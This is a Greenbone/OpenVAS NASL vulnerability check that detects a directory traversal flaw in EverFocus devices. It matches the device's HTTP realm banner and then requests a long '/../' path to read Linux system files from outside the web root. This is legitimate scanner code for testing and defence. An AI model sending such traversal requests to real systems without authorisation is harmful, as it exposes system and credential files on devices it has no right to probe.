EverFocus Multiple Devices Directory Traversal (Mar 2013) - Active Check

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103682");
  script_version("2026-03-17T05:57:28+0000");
  script_tag(name:"last_modification", value:"2026-03-17 05:57:28 +0000 (Tue, 17 Mar 2026)");
  script_tag(name:"creation_date", value:"2013-03-20 10:34:19 +0100 (Wed, 20 Mar 2013)");
  script_tag(name:"cvss_base", value:"7.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:N/A:N");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("EverFocus Multiple Devices Directory Traversal (Mar 2013) - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_get_http_banner.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("EverFocus/banner", "Host/runs_unixoide");

  script_tag(name:"summary", value:"Multiple EverFocus devices are prone to a directory traversal
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"Unauthenticated remote users may retrieve arbitrary system
  files that are located outside of the web root through a directory traversal.");

  script_tag(name:"solution", value:"Firmware update is available from EverFocus technical
  support.");

  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/120827/DDIVRT-2013-50.txt");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("traversal_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port(default:80);

banner = http_get_remote_headers(port:port);
if (!banner || banner !~ 'realm="(EPARA|EPHD|ECOR)[^"]+"')
  exit(0);

files = traversal_files("linux");

foreach pattern(keys(files)) {

  file = files[pattern];

  url = "/../../../../../../../../../../../../../../../" + file;

  if (http_vuln_check(port:port, url:url, pattern:pattern)) {
    report = http_report_vuln_url( port:port, url:url );
    security_message(port:port, data:report);
    exit(0);
  }
}

exit(99);